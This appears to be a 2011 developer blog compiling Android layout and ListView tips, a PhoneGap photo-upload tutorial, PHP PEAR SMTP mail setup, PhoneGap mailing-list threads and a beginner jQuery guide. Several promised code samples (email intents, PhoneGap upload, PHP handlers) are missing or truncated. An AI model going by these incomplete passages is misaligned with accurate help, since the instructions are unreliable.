Thursday 30 June 2011

Simple Android Developer Mistakes

I would really like to write more tips, tricks, and tutorial posts relating to Android, but I’ve been extremely busy on apps both professionally and personally, and I am also doing technical review on an Android dev book due out later this year. So, while I don’t have time to go in the level of depth I’d like to, I thought I could work on a post with a bunch of short pieces that could be written when I have a few free minutes here and there and save the longer posts that require a greater chunk of continuous focus for later.

This post talks about some challenges that you may run into early in your foray into Android development. There isn’t really any sense of order to these; they’re more-or-less a brain dump of issues I’ve experienced or seen that take seconds to solve if you know what you’re doing or hours if you don’t.OMG! The emulator is slow!There are two things to note here: the default AVDs tend to have limited resources and the devices you’re targeting are likely running with a different chipset than the computer you’re developing on.

The first limitation can be easily overcome; the second is a much bigger issue, particularly with Android 3.x and attempting to develop for Honeycomb tablets without actually having a Xoom, Asus Eee Pad Transformer, etc.

Currently, it’s not very feasible to develop a 3.x app without a tablet.Back to that first limitation: When creating a new AVD, you can specify hardware settings, which can dramatically improve performance. The most important setting is the device RAM size; I tend to want the emulator to be as fast as possible, relying on on-device testing for a sense of “real-world speed,” so I usually give my phone emulators 512MB of RAM. That’s the equivalent of most good smartphones from 2010. The 1.x AVDs seem to run fine on 256MB, so you can potentially drop to that if your machine is limited (the Motorola Droid/Milestone had 256MB of RAM as well).

You can also try upping the cache partition size (128MB is a good start) and the max VM application heap size (48 is plenty) for a minor improvement.LinearLayout mistakesLinearLayout is a very useful and very simple ViewGroup. It essentially puts one View after another either horizontally or vertically, depending on the orientation you have set. Set an orientation!LinearLayout defaults to horizontal, but you should always manually specify an orientation. It’s very easy to throw two Views in there and not see one because the first View is set to match_parent for width.

That said, LinearLayout also processes layouts linearly, which is what you’d expect, but that means that setting a child View to match_parent can leave no room for subsequent Views. If you aren’t seeing one of your Views in a LinearLayout, verify you’ve set the orientation and that none of the Views are taking up all the available space. Within a LinearLayout, you should generally rely on layout_weight to “grow” the View.

Here’s an example: The heights are set to 0, but both child Views have weights. The first has a weight of 2 and the second has a weight of 3. Out of a total of 5, the first is taking 2 (40%) and the second gets 3 (60%), so their heights will actually use that portion of the parent View’s space (if that View has a 100px height, the first child will be 40px tall). The weights are relative, so you can set whatever values make sense for you.

In this example, the second layout could have had a set height and no weight and the first could have had a weight of 1, which would have made the first take up all space that the second didn’t use.Stupid Android! It keeps restarting my Activity!The default behavior when a configuration change happens (e.g., orientation change, sliding out the keyboard, etc.) is to finish the current Activity and restart it with the new configuration.

If you’re not getting any dynamic data, such as loading content from the web, this means you probably don’t have to do any work to support configuration changes; however, if you are loading other data, you need to pass it between configuration changes. Fortunately, there’s already a great post on Faster screen orientation changes. Read it and remember that you should not pass anything via the config change methods that is tied to the Activity or Context.DensityDensity should only be considered in terms of density not size. In other words, don’t decide that MDPI means 320px wide. It doesn’t.

It means that the device has around 160dpi like the G1 (320px wide) and the Xoom (1280px wide). Fortunately, you can combine multiple qualifiers for your folders to give precise control, so you can have a drawable-large-land-hdpi/ containing only drawables that are used on large HDPI devices that are in landscape orientation.One other important thing to note: Support for different screen sizes and densities came in Android 1.6. Android 1.5 devices are all MDPI devices, but they don’t know to look in drawable-mdpi/ because there were no different densities then.

So, if you’re supporting Android 1.5, your MDPI drawables should go in drawables/. If your minSdkVersion is 1.6 or above, put the MDPI drawables in drawable-mdpi/.What the heck is ListView doing?A full explanation of ListView would take quite a while, but here’s a quick summary: A ListView’s associated Adapter’s getView method is called for each child View it needs to construct to fill the ListView.

If you scroll down, the top View that leaves the screen is not garbage collected but is instead passed back to the getView method as the “convertView” (second param). Use this View! If you don’t, not only does it need to be garbage collected, you have to inflate new Views. You should also use the ViewHolder paradigm where you use a simple class to store View references to avoid constant findViewById() calls.

Here’s an example: 

@Override
public View getView(int position, View convertView, ViewGroup parent) 
{ final ViewHolder holder;

if (convertView == null) {
convertView = mInflater.inflate(R.layout.some_layout, null);
holder = new ViewHolder();
holder.thumbnail = (ImageView) convertView.findViewById(R.id.thumbnail);
holder.title = (TextView) convertView.findViewById(R.id.title);
convertView.setTag(holder);
}
else {
holder = (ViewHolder) convertView.getTag();
}
final MyObject obj = (MyObject) getItem(position);
holder.thumbnail.setImageDrawable(obj.getThumbnail());
holder.title.setText(Html.fromHtml(obj.getTitle()));
return convertView;
} /** * Static ViewHolder class for retaining View references*/

private static class ViewHolder {
ImageView thumbnail; TextView title;
}

This method is first checking if the convertView exists (when the ListView is first laid out, convertView will not exist). If it doesn’t exist, a new layout is inflated with the LayoutInflater. A ViewHolder object is instantiated and the View references are set. Then, the holder is assigned to the View with the setTag method (which essentially allows you to associate an arbitrary object with a View).

If the convertView already exists, all that has already been done, so you just have to call getTag() to pull that ViewHolder out. The “bulk” of the method is just grabbing MyObject (whatever object your Adapter is connecting to) and setting the thumbnail ImageView and the title TextView.

You could also make the ViewHolder fields final and set them in the constructor, but I tried to keep this example as simple as possible. This method no longer requires View inflation while scrolling nor does it require looking through the Views for specific IDs each time. This little bit of work can make a huge different on scrolling smoothness.One last thing about ListViews… never set the height of a ListView to wrap_content.

If you have all your data locally available, it might not seem so bad, but it becomes particularly troublesome when you don’t. Consider the above example but instead of the setImageDrawable call, it triggers an image download (though it’s better to have the Adapter handle that).

If you use wrap_content on your ListView, this is what happens: The first getView call is done, convertView is null, and position 0 is loaded. Now, position 1 is loaded, but it is passed the View you just generated for position 0 as its convertView. Then position 2 is loaded with that same View, and so on. This is done to lay out the ListView since it has to figure out how tall it should be and you didn’t explicitly tell it.

Once it has run through all of those positions, that View is passed back to position 0 for yet another getView call, and then position 1 and on are loaded with getView and no convertView. You’re going to end up seeing getView called two or three times as often as you would have expected.

Not only does that suck for performance, but you can get some really confusing issues (e.g., if you had been passing a reference to an ImageView with an image download request, that same ImageView could be tied to all of the download requests, causing it to flicker through the images as they return).

It’s very easy to send email via an Android intent. Here’s an example where we already have the subject and body prepared but want to let the user decide on the recipient:

(It’s important to note that this should be attempted on a real device.)

I ran into some trouble with sending HTML in an email because it was being interpreted as plain text both in the user’s email client and in the recipient’s. Simply changing the MIME type didn’t help, but I eventually came across the solution:

Note that both the MIME type is changed and the EXTRA_TEXT is now set as Html.fromHtml(body) instead of just being passed a string with HTML in it. As long as the mail app that is selected is able to properly handle the Intent (e.g., the Gmail app can, the default mail app cannot), then HTML email can be sent.

Upload a File to a Remote Server with Phonegap

I recently started looking at PhoneGap as a way to build native smartphone applications without having to learn another programming language. The process, so far, has been going very well. I’ve been able to build a basic application with very little trouble. I did, however, hit a big hiccup in development when I decided to try and upload a file from a phone to a remote location.

The unfortunate part of this hiccup was that I think its primary cause is rooted in poor documentation.In this post, I want to explain how I was able to upload a photo from a phone, using PhoneGap (and PHP on the remote server), to a remote server. I am going to assume that you have some knowledge of PhoneGap and already have a method, either the Android SDK or the iPhone SDK, to test your native application.

The HTML / JavascriptRather then use a jQuery Ajax call, I am relying on PhoneGap’s FileTransfer object to post the image to a remote server. The code below is all you need to add to your “index.html” PhoneGap file for a basic upload.

Make sure, if you use the example code below, to add your server’s URL in the appropriately marked place.As you can see, the code above allows you to browse for a photo in the device’s photo library using the function getPhoto(). Once a photo is chosen, it gets POSTed as multi-part data to the server.

You will notice a couple of things. 1. I commented out the options.fileName variable. The default name for an uploaded image is “image.jpg.” Also, I’ve included some test parameters in the upload data which will be POSTed to your server as well, but these are optional.

The PHPNow that you are able to find a file and POST it to a server, you’ll need a server side script to handle the data. Here is a very basic PHP example on handling the multi-part form data (image) that was just sent from the device.

The above code uses PHP’s move_uploaded_file() to move the uploaded file from a temporary location to a new directory. To make sure it works, change “/srv/www/upload/” to a directory on your server. I usually have to pass an absolute file-path as the second variable in the move_uploaded_file() for it to work.

You can learn more about PHP uploads in a previous post of mine.FinishedAbove is a short example of how to upload a file to a remote server using PhoneGap, including how to handle that data once it gets to the server.

PHP Send Email Using Authenticated SMTP Mail Server In Real Time

PHP has mail() function to send an email to users.
However this mail() will not work:=>
If sendmail (or compatible binary) is not installed=>
If Apache Web server / Lighttpd running in chrooted jail=>
And your smtp server needs an authentication before sending an email=>

Or you just need to send email using PHP PEARIn all these cases you need to use PHP PEAR's Mail:: interface.

It defines the interface for implementing mailers under the PEAR hierarchy, and provides supporting functions which are useful in multiple mailer backends. In this tip you will learn about how to send an e-mail directly to client smtp server in real time.PHP Pear's Mail.php is located in /usr/share/pear/ directory. Following is sample code to send an email via authenticated smtp server.

PHP send email using PHP SMTP mail Pear functions - Sample source codeFollowing code is well commented, you need to make necessary changes as per your
setup.send($recipients, $headers, $mailmsg);
?>

Sending smtp email from chrooted Apache or Lighttpd webserverRead following section, if you are running a secure chrooted Apache or Lighttpd web server. I have already written about setting php mail() function in chrooted jail.

If you are using chrooted jail server setup, copy all files from /usr/share/pear directory to /chroot-directory/usr/share/pear directory. For example if lighttpd chrooted jail located in /webroot directory, you need to type following commands to install PHP pear support:# mkdir -p /webroot/usr/share/pear# cd /webroot/usr/share/pear# cp -avr /usr/share/pear .

If PHP SAFE MODE is on, you must set /webroot/usr/share/pear directory permission to webserver username to allow access. Otherwise you will see error as follows:1-Nov-2006 09:43:19] PHP Warning: main(): SAFE MODE Restriction in effect. The script whose uid is 506 is not allowed to access /usr/share/pear/PEAR.php owned by uid 0 in /usr/share/pear/Mail.php on line 636.

So if webserver username is lighttpd or apache use following command to setup correct ownership:# chown lighttpd:lighttpd /webroot/usr/share/pear -ROR# chown apache:apache /webroot/usr/share/pear -RYou may also find modified wordpress WP-ContactForm plugin useful. It is a drop in form for users to contact you. It can be implemented on a page or a post.

Original authored by Ryan Duff, which use php mail() function to send email. I have modified the same to send email via my ISP authenticated gateway using PHP PEAR's Mail:: interface :D

Re: [PhoneGap] how to add get applicationDidBecomeActive and didFinishLaunchingWithOptions methods in Phonegap

Use the latest 0.9.6.applicationdidFinishLaunchingWithOptions is there,applicationDidBecomeActive is there but in the subclass PhoneGapDelegate.

For active/inactive events, use the "pause" and "resume" events in javascript instead to handle that event:http://docs.phonegap.com/phonegap_events_events.md.html

On 2011-06-29, at 3:00 AM, Abhi wrote:>
Hi,>>
Native apps on IOS have the following methods>
- (BOOL)application:(UIApplication *)application> didFinishLaunchingWithOptions:
(NSDictionary *)launchOptions>
- (void)applicationDidBecomeActive:(UIApplication *)application>
> but Phonegap.0.9.4 has>
- (void)applicationDidFinishLaunching:(UIApplication *)application>
- (void)webViewDidFinishLoad:(UIWebView *)theWebView //this does not> trigger when app comes to foreground from background>>>>> Pls advice how to add the two triggers in Phonegap platform (required> to implement push notification all scenarios)>
- (BOOL)application:(UIApplication *)application>
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions>
- (void)applicationDidBecomeActive:(UIApplication *)application>> -->

You received this message because you are subscribed to the Google>
Groups "phonegap" group.> To post to this group, send email to phonegap@googlegroups.com>
To unsubscribe from this group, send email to>
phonegap+unsubscribe@googlegroups.com>

For more options, visit this group at>
http://groups.google.com/group/phonegap?hl=en?hl=en> >

For more info on PhoneGap or to download the code go to www.phonegap.com-- You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.com

To unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=enFor more info on PhoneGap or to download the code go to www.phonegap.com

[nodejs] Joey Guerra wants to chat

-----------------------------------------------------------------------Joey Guerra wants to stay in better touch using some of Google's coolest newproducts.If you already have Gmail or Google Talk, visit:http://mail.google.com/mail/b-5c0a4ac672-e0278c1b8b-i0wmic9xVGZ7nAXpPY-Z5P-OqsUYou'll need to click this link to be able to chat with Joey Guerra.To get Gmail - a free email account from Google with over 2,800 megabytes ofstorage - and chat with Joey Guerra, visit:http://mail.google.com/mail/a-5c0a4ac672-e0278c1b8b-i0wmic9xVGZ7nAXpPY-Z5P-OqsUGmail offers:- Instant messaging right inside Gmail- Powerful spam protection- Built-in search for finding your messages and a helpful way of organizingemails into "conversations"- No pop-up ads or untargeted banners - just text ads and related informationthat are relevant to the content of your messagesAll this, and its yours for free. But wait, there's more! By opening a Gmailaccount, you also get access to Google Talk, Google's instant messagingservice:http://www.google.com/talk/Google Talk offers:- Web-based chat that you can use anywhere, without a download- A contact list that's synchronized with your Gmail account- Free, high quality PC-to-PC voice calls when you download the Google TalkclientWe're working hard to add new features and make improvements, so we might alsoask for your comments and suggestions periodically. We appreciate your help inmaking our products even better!Thanks,The Google TeamTo learn more about Gmail and Google Talk, visit:http://mail.google.com/mail/help/about.htmlhttp://www.google.com/talk/about.html(If clicking the URLs in this message does not work, copy and paste them intothe address bar of your browser).-- Job Board: http://jobs.nodejs.org/Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-GuidelinesYou received this message because you are subscribed to the GoogleGroups "nodejs" group.To post to this group, send email to nodejs@googlegroups.comTo unsubscribe from this group, send email tonodejs+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/nodejs?hl=en?hl=en

[PhoneGap] Re: iOS UIWebview - make it faster for PhoneGap!

+1 more to the pile :DOn Jun 29, 6:50 am, Shazron Abdullah wrote:>
Every-time there's a duplicate issue in Apple's Bug Reporter (kinda like voting for it), the more likely it will be implemented next time (we hope). Mine was duped. So please file an issue, it will only take 5 mins :)>>

File an issue athttp://bugreporter.apple.comand login with your Apple ID. Click on "New Problem">> Title: >

UIWebview: should support Nitro Javascript>> Product:> iPhone SDK>> Classification:> Feature (New)>> Description:> Enable Nitro Javascript for the UIWebview component, like Mobile Safari and home-screen web-apps.--

You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.com

To unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=enFor more info on PhoneGap or to download the code go to www.phonegap.com

Re: [nodejs] Joey Guerra wants to chat

WAT?!On Wed, Jun 29, 2011 at 9:49 PM, Joey Guerra wrote: ----------------------------------------------------------------------- Joey Guerra wants to stay in better touch using some of Google's coolest new products. If you already have Gmail or Google Talk, visit: http://mail.google.com/mail/b-5c0a4ac672-e0278c1b8b-i0wmic9xVGZ7nAXpPY-Z5P-OqsU You'll need to click this link to be able to chat with Joey Guerra. To get Gmail - a free email account from Google with over 2,800 megabytes of storage - and chat with Joey Guerra, visit: http://mail.google.com/mail/a-5c0a4ac672-e0278c1b8b-i0wmic9xVGZ7nAXpPY-Z5P-OqsU Gmail offers: - Instant messaging right inside Gmail - Powerful spam protection - Built-in search for finding your messages and a helpful way of organizing emails into "conversations" - No pop-up ads or untargeted banners - just text ads and related information that are relevant to the content of your messages All this, and its yours for free. But wait, there's more! By opening a Gmail account, you also get access to Google Talk, Google's instant messaging service: http://www.google.com/talk/ Google Talk offers: - Web-based chat that you can use anywhere, without a download - A contact list that's synchronized with your Gmail account - Free, high quality PC-to-PC voice calls when you download the Google Talk client We're working hard to add new features and make improvements, so we might also ask for your comments and suggestions periodically. We appreciate your help in making our products even better! Thanks, The Google Team To learn more about Gmail and Google Talk, visit: http://mail.google.com/mail/help/about.html http://www.google.com/talk/about.html (If clicking the URLs in this message does not work, copy and paste them into the address bar of your browser). -- Job Board: http://jobs.nodejs.org/ Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines You received this message because you are subscribed to the Google Groups "nodejs" group. To post to this group, send email to nodejs@googlegroups.com To unsubscribe from this group, send email to nodejs+unsubscribe@googlegroups.com For more options, visit this group at http://groups.google.com/group/nodejs?hl=en?hl=en-- Job Board: http://jobs.nodejs.org/Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-GuidelinesYou received this message because you are subscribed to the GoogleGroups "nodejs" group.To post to this group, send email to nodejs@googlegroups.comTo unsubscribe from this group, send email tonodejs+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/nodejs?hl=en?hl=en

[PhoneGap] Re: Calling plugin method synchronously

Here is my correspondence with ShazronYou can use static libraries only, no third-party dynamic librariesare allowed. Apple's dynamic libraries are allowed of course (thingslike UIKit, etc that are part of the SDK) but not your own.- Hide quoted text -On Tue, Jun 28, 2011 at 5:01 AM, Sumedh wrote:> Hi Shazron,>> I wanted to know whether i can use shared libraries with phonegap plugins.>> What about Dynamic link Libraries, are they allowed as part of an iphone> app. I am not getting appropriate information about this.>> thanks.>> On Mon, Jun 27, 2011 at 6:03 PM, Sumedh wrote:>>>> Thanks sir.>>>>>> On Mon, Jun 27, 2011 at 5:31 PM, Shazron Abdullah>> wrote:>>>>>> Also i see PhoneGap uses UIWebvVew, so there are limits on scripts>>> executions, like 10 sec and 10 MB, can we set this values?>>>>>> No.>>>>>> Can i build my custom webkit for ios, so that i can have access to>>> jscore. I have done it on windows, and linux... I hope i can do same for MAC>>> OSX, but don't have any idea about IOS. Can you throw some light on this?>>>>>> You could. Look at the Couchbase (CouchDB) for iOS project, might be some>>> info there.********************************No, everything is async. It's a limitation on how PhoneGap works (atleast on iOS). For Android, it's possible but I'm not familiar withit.--Shazron AbdullahOn Monday, June 27, 2011 at 3:30 AM, Sumedh wrote:> Hi Shazron,>> I was going through plugins, all available plugin examples utility functions seems to be called in a thread and then return back the result in callback. Can i have a plugin which will return back the result to the caller, for which i hope call to plugin utility functions should be in the same thread.>> Hoping for a reply. Thanks.-- You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.comTo unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=enFor more info on PhoneGap or to download the code go to www.phonegap.com

Re: [PhoneGap] Coverage Into using Phonegap.

Hey Drew,You are right. I didn't execute "document.addEventListener("deviceready", onDeviceReady, false);" in the HTML file. Rather this was called in another file.

Now I got it working. Thanks for all your time :)--
You received this message because you are subscribed to the GoogleGroups "phonegap" group.

To post to this group, send email to phonegap@googlegroups.com
To unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.com
For more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=en
For more info on PhoneGap or to download the code go to www.phonegap.com

[PhoneGap] Re: BlackBerry WebWorks - eclipse Issues

Hi,1. I'm using blackberry.app.exit() in my BB-Webworks App. and it is working for me.2. Here is the sample code for JS-WSDL communication. function wssample(){try{var oXmlHttp = new XMLHttpRequest(); // Create a function that will receive data sent from the serveroXmlHttp.onreadystatechange = function(){if(oXmlHttp.readyState == 4){alert(oXmlHttp.responseText);}};oXmlHttp.open("POST", "http://10.55.55.55/AuthenticationService.svc", false); oXmlHttp.setRequestHeader("Content-Type", "text/xml"); oXmlHttp.setRequestHeader("SOAPAction", "http://tempuri.org/IAuthenticationService/AuthenticateUser"); var str=" \ \ \ \ adminadmin \ admin \ \ \ \"; oXmlHttp.send(str); }catch(e){document.getElementById("ex").innerHTML = "Exception- "+e.toString(); }}Do not forget to add the url in config.xml-- You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.comTo unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=en For more info on PhoneGap or to download the code go to www.phonegap.com

[PhoneGap] Re: how to add get applicationDidBecomeActive and didFinishLaunchingWithOptions methods in Phonegap

cd ~/Documents/phonegap-iphone/git remote updategit merge origin/mastermake, reinstall the pkg, reload, clean & rebuildOn Jun 30, 10:40 am, Abhilash Vijayakumar wrote:> Ok thank you. Any recommended way to convert an existing Phonegap.0.9.4 app> to Phonegap.0.9.6 app> Can Phonegap0.9.4 and 0.9.6 templates co-exist in xcode3.2.6 ?> Pls advice> Regards> Abhilash Vijayakumar>> On Wed, Jun 29, 2011 at 6:17 PM, Shazron Abdullah <>>>> shazron.abdul...@nitobi.com> wrote:> > Use the latest 0.9.6.> > applicationdidFinishLaunchingWithOptions is there,> > applicationDidBecomeActive is there but in the subclass PhoneGapDelegate.>> > For active/inactive events, use the "pause" and "resume" events in> > javascript instead to handle that event:> >http://docs.phonegap.com/phonegap_events_events.md.html>> > On 2011-06-29, at 3:00 AM, Abhi wrote:>> > > Hi,>> > > Native apps on IOS have the following methods> > > - (BOOL)application:(UIApplication *)application> > > didFinishLaunchingWithOptions:(NSDictionary *)launchOptions> > > - (void)applicationDidBecomeActive:(UIApplication *)application>> > > but Phonegap.0.9.4 has> > > - (void)applicationDidFinishLaunching:(UIApplication *)application> > > - (void)webViewDidFinishLoad:(UIWebView *)theWebView //this does not> > > trigger when app comes to foreground from background>> > > Pls advice how to add the two triggers in Phonegap platform (required> > > to implement push notification all scenarios)> > > - (BOOL)application:(UIApplication *)application> > > didFinishLaunchingWithOptions:(NSDictionary *)launchOptions> > > - (void)applicationDidBecomeActive:(UIApplication *)application>> > > --> > > You received this message because you are subscribed to the Google> > > Groups "phonegap" group.> > > To post to this group, send email to phonegap@googlegroups.com> > > To unsubscribe from this group, send email to> > > phonegap+unsubscribe@googlegroups.com> > > For more options, visit this group at> > >http://groups.google.com/group/phonegap?hl=en?hl=en>> > > For more info on PhoneGap or to download the code go towww.phonegap.com>> > --> > You received this message because you are subscribed to the Google> > Groups "phonegap" group.> > To post to this group, send email to phonegap@googlegroups.com> > To unsubscribe from this group, send email to> > phonegap+unsubscribe@googlegroups.com> > For more options, visit this group at> >http://groups.google.com/group/phonegap?hl=en?hl=en>> > For more info on PhoneGap or to download the code go towww.phonegap.com-- You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.comTo unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=enFor more info on PhoneGap or to download the code go to www.phonegap.com

[PhoneGap] Re: emailComposer plugin

On Nov 2, 7:18 pm, Nick McCloud wrote:> You will need to add MessageUI.framework to your project if it is not> already included.>> Just add the .m.h files to your project ( you can add them directly to> your own project, you don't need to put them in phonegap lib ).>> Place the .js file in your app root, and include it from your html.>> This is intended to also demonstrate how to pass arguments to native> code using the options/map object. Please review the js file to> understand the interface you can call, and reply with any questions.>> On Nov 2, 4:45 pm, jamie_mcdonnell wrote:>>>> > Hi there,>> > can anyone please post a simple example for implementing the> > emailComposrer plugin?>> > It would really help me / others get going...>> > Many thanks>> > Jamie-- You received this message because you are subscribed to the GoogleGroups "phonegap" group.To post to this group, send email to phonegap@googlegroups.comTo unsubscribe from this group, send email tophonegap+unsubscribe@googlegroups.comFor more options, visit this group athttp://groups.google.com/group/phonegap?hl=en?hl=enFor more info on PhoneGap or to download the code go to www.phonegap.com

Wednesday 29 June 2011

jquery basics

This is a basic tutorial, designed to help you get started using jQuery. If you don't have a test page setup yet, start by creating a new HTML page with the following contents:

Edit the src attribute in the script tag to point to your copy of jquery.js. For example, if jquery.js is in the same directory as your HTML file, you can use:



You can download your own copy of jQuery from the Downloading jQuery page
[edit]
Launching Code on Document Ready

The first thing that most Javascript programmers end up doing is adding some code to their program, similar to this:

window.onload = function(){ alert("welcome"); }

Inside of which is the code that you want to run right when the page is loaded. Problematically, however, the Javascript code isn't run until all images are finished downloading (this includes banner ads). The reason for using window.onload in the first place is that the HTML 'document' isn't finished loading yet, when you first try to run your code.

To circumvent both problems, jQuery has a simple statement that checks the document and waits until it's ready to be manipulated, known as the ready event:

$(document).ready(function(){
// Your code here
});

Inside the ready event, add a click handler to the link:

$(document).ready(function(){
$("a").click(function(event){
alert("Thanks for visiting!");
});
});

Save your HTML file and reload the test page in your browser. Clicking the link on the page should make a browser's alert pop-up, before leaving to go to the main jQuery page.

For click and most other events, you can prevent the default behaviour - here, following the link to jquery.com - by calling event.preventDefault() in the event handler:

$(document).ready(function(){
$("a").click(function(event){
alert("As you can see, the link no longer took you to jquery.com");
event.preventDefault();
});
});

[edit]
Complete Example

The following is an example of what the complete HTML file might look like if you were to use the script in your own file. Note that it links to Google's CDN to load the jQuery core file. Also, while the custom script is included in the , it is generally preferable to place it in a separate file and refer that file with the script element's src attribute

[edit]
Adding and Removing an HTML Class

Important: The remaining jQuery examples will need to be placed inside the ready event so that they are executed when the document is ready to be worked on. See Launching Code on Document Ready above for details.

Another common task is adding (or removing) a class.

First, add some style information into the of your document, like this:



Next, add the addClass call to your script:

$("a").addClass("test");

All your a elements will now be bold.

To remove the class, use removeClass

$("a").removeClass("test");

(HTML allows multiple classes to be added to an element.)

[edit]
Special Effects

In jQuery, a couple of handy effects are provided, to really make your web site stand out. To put this to the test, change the click that you added earlier to this:

$("a").click(function(event){
event.preventDefault();
$(this).hide("slow");
});

Now, if you click any link, it should make itself slowly disappear.
[edit]
Callback and Functions

A callback is a function that is passed as an argument to another function and is executed after its parent function has completed. The special thing about a callback is that functions that appear after the "parent" can execute before the callback executes. Another important thing to know is how to properly pass the callback. This is where I have often forgotten the proper syntax.
[edit]
Callback without arguments

For a callback with no arguments you pass it like this:

$.get('myhtmlpage.html', myCallBack);

Note that the second parameter here is simply the function name (but not as a string and without parentheses). Functions in Javascript are 'First class citizens' and so can be passed around like variable references and executed at a later time.
[edit]
Callback with arguments

"What do you do if you have arguments that you want to pass?", you might ask yourself.
[edit]
Wrong

The Wrong Way (will not work!)

$.get('myhtmlpage.html', myCallBack(param1, param2));


This will not work because it calls

myCallBack(param1, param2)

and then passes the return value as the second parameter to $.get()
[edit]
Right

The problem with the above example is that myCallBack(param1, param2) is evaluated before being passed as a function. Javascript and by extension jQuery expects a function pointer in cases like these. I.E. setTimeout function.

In the below usage, an anonymous function is created (just a block of statements) and is registered as the callback function. Note the use of 'function(){'. The anonymous function does exactly one thing: calls myCallBack, with the values of param1 and param2 in the outer scope.

$.get('myhtmlpage.html', function(){
myCallBack(param1, param2);
});

param1 and param2 are evaluated as a callback when the '$.get' is done getting the page.

jquery tutorial

English Tutorials jQuery Plugin Authoring Learn how to develop a jQuery plugin. jQuery Beginner Tutorial in 18 minutes Learn to build jQuery plugins from scratch - an 18 minute tutorial. [edit]General TutorialsThese tutorials cover the fundamentals of the jQuery library - covering a diverse number of topics.

How jQuery Works by John Resig. A basic introduction to jQuery and the concepts that you need to know to use it. Tags: jQuery Core, Selectors, CSS, Traversing, Manipulation, Events, Effects Getting Started with jQuery by Jörn Zaefferer Goes through the basics of jQuery, all the way up to building plugins.

Tags: jQuery Core, Selectors, Attributes, Traversing, Manipulation, Events, Effects, Ajax, Plugins jQuery For Designers by Mark Panay Examples of writing Unobtrusive JavaScript to add simple behavior to a web page.

Tags: Selectors, Manipulation, Effects, Events Live Examples of jQuery by Cody Lindley An interactive demonstration of the basics behind jQuery.

Tags: Selectors, Attributes, Traversing, Effects, Manipulation [edit]Interface Introduction to jQuery Animation by Abel Mohler 51+ Best of jQuery Tutorials and Examples by Sydney Monis jQuery Tutorials for Designers by Sydney Monis Highlight words in an html page by Reuven jQuery Tabs Build simple jQuery Tabs controls (Beginner's Tutorials) by Greg Sidelnikov Create a Roll Over Star Comment Rating with JQuery by Eli Geske

Form validation with jQuery from scratch by Daniel Create an Accessible Slideshow Using jQuery by Jacob Gube Create a Vertical Scrolling Menu with Tooltips by Andrew Valums Create a Horizontal Scrolling Menu with CSS and jQuery by Andrew Valums Slide and Hide Section with jQuery by WebAir The Dollar Sign What is the Significance of the Dollar Sign ($)?

Smooth and Stunning Popup from scratch by Adrian Mato (yensdesign.com) Create a smooth tabbed menu in jQuery by Adrian Mato (yensdesign) How to Validate Forms in both sides using PHP and jQuery by Adrian Mato (yensdesign.com) Improving search boxes with jQuery by Adrian Mato (yensdesign)

Submit a Form Without Refresh Using jQuery by NETTUTS Create a tabbed content area by Queness Simple jQuery Modal Window Tutorial by Queness AJAX Interface using JQuery/PHP by Vision Master Designs Building modal panels with jQuery by Daniel Jquery Image Loader add loading animation before image completely loaded by Bali Web Design State-Saving jQuery Accordion Menu Without Reloading the Page by Michael Jacob Davis

Creating a very basic Image Gallery in JQuery by Jack Franklin Disjointed rollovers in jQuery by Justin Farmer Image Enlargement with .animate() by Justin Farmer jQuery Frequently Asked Questions (FAQ) by Michael Jacob Davis Ajaxify your web pages using jQuery by Bali Web Design PHP jQuery Ajax Login by Bali Web Design SEO friendly ajax by Bali Web Design Building a Lightbox by dryan Simple JQuery

Image Slide Show with Semi-Transparent Caption by Queness jQuery Image Gallery/News Slider with Caption Tutorial by Queness Create an Attractive jQuery Menu with Fadein and Fadeout Effect by Queness Create a Vertical, Horizontal and Diagonal Sliding Content Website with jQuery by Queness Simple Lava Lamp Menu Tutorial with jQuery by Queness jQuery

Moving Tab and Sliding Content Tutorial by Queness Create a Stunning Sliding Door Effect with jQuery by Queness jQuery Thumbnail with Zooming Image and Fading Caption Tutorial by Queness Making a jQuery pagination system by web.enavu Making a jQuery infinite carousel with nice features by web.enavu How to make a completely reusable jquery modal window by web.enavu

Make a custom tab interface with JQuery by web.enavu Cool navigation menu made with JQuery by web.enavu Sliding door effect with JQuery by web.enavu Image splitting effect with CSS and JQuery by web.enavu Create an amazing contact form with jQuery. by web.enavu

Making image captions using jQuery by web.enavu Client side filtering data with jQuery by web.enavu Create a Thumbnail with Fading Caption Using jQuery by Queness Create a Simple Infinite Carousel with jQuery by Queness jQuery Drop Down Menu for RSS Subscription

Tutorial by Queness 7 Amazing Presentation Slides to Teach you How to Code with jQuery by web.enavu Making a Cool Spotlight Effect with jQuery by web.enavu jQuery Photo Slide Show with Slick Caption Tutorial Revisited by Queness [edit]Misc Beginner's Plugin Tutorial Build jQuery Plugins from scratch (Beginner's tutorials). Run my JQuery script only if a certain element exists! by Eli Geske How to switch to an Alternate Stylesheet using jQuery by Web Dev Codex Roundup of jQuery Menus by Query7 Staff 5 Tips for Better jQuery Code by Marc Grabanski Creating AJAX websites based on anchor navigation using jQuery by Ivan Guardado Castro &

